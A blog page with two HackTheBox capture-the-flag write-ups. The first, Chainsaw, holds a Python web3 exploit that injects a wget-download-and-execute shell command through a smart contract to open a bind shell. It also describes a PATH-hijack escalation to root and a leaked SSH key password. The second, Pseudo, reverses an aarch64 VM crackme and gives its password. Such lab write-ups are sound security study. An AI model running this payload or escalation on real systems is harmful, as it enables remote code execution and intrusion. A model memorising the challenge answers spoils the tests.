Search This Blog

Saturday, November 23, 2019

Chainsaw HacktheBox Writeup


Chainsaw was quite an interesting and difficult box involving some blockchain programming.  After I finished the box, I found out that root could also be done with blockchain programming but I just hijacked the path to finish it up; you can check out some other writeups if you are interested in seeing that root method.  Anyways, let us begin!

On the initial basic port scan, only a ftp port shows up and it has anonymous login enabled.  Once you login in as anonymous, you see the following files: address.txt, WeaponizedPing.json, WeaponizedPing.sol

All of those files are related to Ethereum smart contracts.  The following link has a great lesson on interacting with this blockchain using python3 and web3.  On a more in depth massscan, I also found port 9810 open, in which I was able to interact with the blockchain.  Moreover, the name of the files are called weaponized ping... this hints at the classic example of command injection with a ping program.  It also contains a getDomain() and setDomain() function. This information will come in handy later.

First of all, web3 had to be used to connect to the Ethereum network and assign yourself the given address on the ftp server.  The JSON file provides another important component: the smart contract (the defining feature of Ethereum) ABI.  It basically describes how the smart contract works.  Moreover, using the default account on the network is also fine in this instance.

Now, with all the setup finished, it is time for command injection.  When calling the functions, do note the differences between call and transact.  Call is read only while transact is write operation, which is what I want to do when I set the malicious domain on the blockchain.  Anyways, afterwards, I just had the smart contract download a shellscript to open a bind shell on the box (with just the classic netcat method).  Here is my final exploit for this stage:


from web3 import Web3
import json
import random

def formatEther(str):
return web3.fromWei(str, "ether")

infura_url = "http://chainsaw.htb:9810"
web3 = Web3(Web3.HTTPProvider(infura_url))
#check ethereum connection
print (web3.isConnected)
# check latest block
print(web3.eth.blockNumber)
#using the given address
with open('address.txt') as f:
    address = f.readline()
address = address.split('\n')[0]
print(address)
# get account balance
balance = web3.eth.getBalance(address)
print(formatEther(balance)) #need this method cause ethereum special representation
#read smart account data
#need abi, json array, see from leaks from ftp
with open('WeaponizedPing.json', 'r') as f:
    array = json.load(f)
abi = array["abi"]
print(abi)
web3.eth.defaultAccount = web3.eth.accounts[0] # use default account
contract = web3.eth.contract(address=address, abi=abi)
filename = str(random.randint(1,10000)) + ".sh"
exploit = "getowned.com; wget http://10.10.14.6/shell.sh -O /tmp/" + filename + " && chmod +x /tmp/" + filename + " && /tmp/" + filename
contract.functions.setDomain(exploit).transact() #RCE time
print(contract.functions.getDomain().call())

Afterwards, a bind shell will be opened and you can connect and pop tty shell with python.  With some basic enumeration, you find that there is a user called bobby.  Hunting around with grep for the name as a string, I come across this file: ./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data in the home directory of the current user (administrator).

Inside is a format of an email with some base64 encoding.  Decoding the main parts gets me an encrypted ssh key file, which I can then crack.  It turns out that Bobby's ssh key password is jackychain and I can then get user.

After extremely basic enumeration, I come across the ChainsawClub binary.  With some simple reversing, I see a call to sudo.  I also noticed that I could write to path.  I downloaded the same bind shell script I used originally and renamed it to sudo.  I then "export PATH=/home/bobby:$PATH" to prepend the home directory onto the path.  Now, when I run ChainsawClub and the call occurs, it uses the "sudo" in the /home/bobby directory, which in turns opens a bind shell with root permissions.

However, upon connection and popping another tty shell, I actually have not reached the root flag.  At this point, it is just a simple slack space problem in which blocks are only partially filled (the box even has bmap nicely installed).

bmap --mode slack root.txt

Running the command above will get us the real root flag!



Friday, November 15, 2019

Pseudo HacktheBox Writeup

Pseudo is the toughest challenge on HTB in my opinion as of 2019 (well, before headachev2 released). Nothing even comes close to this reversing challenge, which centers around an aarch64 and VM crackme. Before I start, I would like to thank davidlightman for working on it with me. He taught me many new reversing tricks and, oftentimes, managed to see things which I missed.

Starting off, we identify that the binary is UPX packed, so unpack it first. Then, we realize that it is an aarch64 binary. To actually reverse this, I ended up using qemu user mode (qemu-aarch64). Luckily, qemu-aarch64 had both a gdb remote debugging interface as well as a strace option to run when in emulation. For debugging, I used gdb-multiarch with the peda extension.

From an initial static analysis, we note that the main function is at 0x4004b0. Also, since it is statically compiled but completely stripped of symbols, it may help to identify some glibc functions. How do we recognize what functions are glibc related? Well, I mainly analyzed strings and tried to map similarities to the real life source code. Moreover, once I found that 0x49eba8 was assert(), my life became a lot easier. Remember to actually rename the functions as you go along. I relied a lot on GHIDRA's decompiler, but it helps a ton to understand arm assembly. Here were some of the references I used:
https://azeria-labs.com/writing-arm-assembly-part-1/
https://modexp.wordpress.com/2018/10/30/arm64-assembly/ 

After a while, I became pretty confident that functions in 0x49xxxx to 0x5xxxxx are glibc functions, so they don't matter too much. Function 400578 is where the most important part is.

There are multiple loops, random floating point arithmetic, and many conditionals. There also seems to be some bytecode starting from 0x5036b8. Let's get to some dynamic analysis. I highly recommend you use gdb's --command option to use its scripting capabilities. Upon running it, we get a message about "terminal for ants." I took it really literally and made my terminal fullscreen. Now it prompts for a password! However, there is also a better way here: using qemu's strace, you will see a call to ioctl, which can be used in terminal screen size checks. As you can see in 0x4004e8, there is where the call is happening. It is checked against the value 158 to see if your screen size is bigger than that. The solution here is to just use the following command: stty rows 159 columns 159

I didn't bother to check if rows or columns really mattered here, but you will beat the check. Now placing a breakpoint at 0x400650 (seems like this is where reading in is occuring), place a break point at 0x400570 (this also runs beforehand and it is closely tied to the massive loop but I would like to debug it after entering some passwords) and enter some random strings in the password prompt. Throughout static analysis, I noticed a lot of referencing to the w0, w20, and w21 registers. At this point, I was just printing the contents of those registers. Soon I noticed a pattern. Perhaps those bytecodes I saw earlier are part of a VM and this is like a VM crackme! Some extra analysis confirmed this: w0 is the bytecode (as it constantly changes), w20 is the offset or somewhat like a program counter (as it increases and decreases in a pattern or jumps around sometimes), and w21 points to where the base of the bytecode is (it stays constant). Also, once again from static analysis, I noticed that 0x00574c8 and 0x005740d0 are constantly referenced; perhaps they are the registers to this VM.

Moreover, all the conditionals seen in the massive loop are related to the operations that must be performed when w0 has a certain byte in it. Here is my summary of them (labeled with w0 value and corresponding location in binary):

w0 = 0x23 -> 0x4005d0

if (iVar6 == 0x23) {
    PTR_DAT_005740c8 = PTR_DAT_005740c8 + -1;
Decrements the index

w0 = 0x0e -> 0x4005e8

if (iVar6 == 0xe) {
    *PTR_DAT_005740c8 = *PTR_DAT_005740c8 + '\x01';
Increments value in current index

w0 = 0x01 -> 0x400600

if (iVar6 == 1) {
    *PTR_DAT_005740c8 = *PTR_DAT_005740c8 + -1;
 Decrements value in current index.

w0 = 0x05 -> 0x400618
    if (iVar6 == 5) {
        bVar3 = *PTR_DAT_005740c8;
        iVar6 = FUN_0049ecb8((ulonglong)bVar3); //run it on data at 5740c8
        if (iVar6 == 0 && bVar3 != 10) {
            return 1;
        }
    FUN_004b1570((ulonglong)bVar3,PTR_DAT_00574998);

ulonglong FUN_0049ecb8(int iParm1)
{
longlong in_tpidr_el0;
return (ulonglong)
((uint)*(ushort *)(*(longlong *)((undefined *)0x90 + in_tpidr_el0) + (longlong)iParm1 * 2)
& 0x4000);
}
This function didn't matter in solving this crackme.

w0 = 0x80 -> 0x400650

PTR_DAT_005740d0 = PTR_DAT_005740c8;
PTR_DAT_005740c8 = puVar2;
*puVar2 = 0xd;
PTR_DAT_005740c8 = PTR_DAT_005740c8 + 1;
do {
    uVar7 = FUN_004b1418(PTR_DAT_005749a0);
    *PTR_DAT_005740c8 = (char)(uVar7 & 0xff) + -0x5e;
    puVar2 = PTR_DAT_005740c8 + 1;
    PTR_DAT_005740c8 = puVar2;
} while ((uVar7 & 0xff) != 10);
PTR_DAT_005740c8 = PTR_DAT_005740d0;
PTR_DAT_005740d0 = puVar2;
Reads and modifies a password. It subtracts 0x5e from each character.

w0 = 0xef -> 0x400968
A good amount of floating point operations... it didn't matter in solving the crackme.

w0 = 0xd2 -> 0x4006c0
A good amount of floating point operations... reversing these are not necessary.
Perhaps it checks if the password is correct because I saw a "\r" in there.
You can also see in GHIDRA how compares w0 to w2, and w2 is result of the floating point operations... I hypothesized that this is where the password check is occurring.

w0 = 0x02 -> 0x400958

This part did not matter in solving the crackme.

w0 = 0x7f -> 0x400af8

This part did not matter in solving the crackme.

w0 = 0x17 -> 0x400584

while (iVar6 = (int)param_1, iVar6 == 0x17) {
    unaff_x20 = unaff_x20 + 1;
    PTR_DAT_005740c8 = PTR_DAT_005740c8 + 1;
    param_1 = (ulonglong)*(byte *)(unaff_x21 + unaff_x20);
    if (*(byte *)(unaff_x21 + unaff_x20) == 0) {
    return 0;
Increments counter and increments byte code offset in x20 register, then loads the next byte into the w0 register.
This part determines whether to keep looping or to stop.  If w0 = 0, it exits.

Most of them don't matter... it's funny though how it is very similar to brainfuck, with a few more instructions. The only things that really matter here is 0x80 (which reads in input and subtracts 0x5e from every char) and 0xd2, which is checking our input, or password. Also from dynamic analysis, you should see that if your password is wrong, the VM goes into an infinite loop on the byte 0x7f.
Now, how exactly do we figure out the result from all the crazy floating point arithmetic used to check the password? Answer is we don't need to. Take a look at this part around 0x40091c.

0040091c 5f 00 20 6b cmp param_3,param_1, UXTB
00400920 81 ee ff 54 b.ne LAB_004006f0

param_3 and param_1 are tied to w0 and w2 in GHIDRA. w2 is the difference between the char you entered and 0x5e. w0 is the result of the floating point arithmetic. We can determine them through debugging; they just need to be equal. Moreover, from debugging, you will notice that the chars are checked in reverse order. After a few minutes, I managed to get the password out.  It is the following:
~vms_all_the_way

Upon entering the password, the program prints out the flag in ASCII art and exits.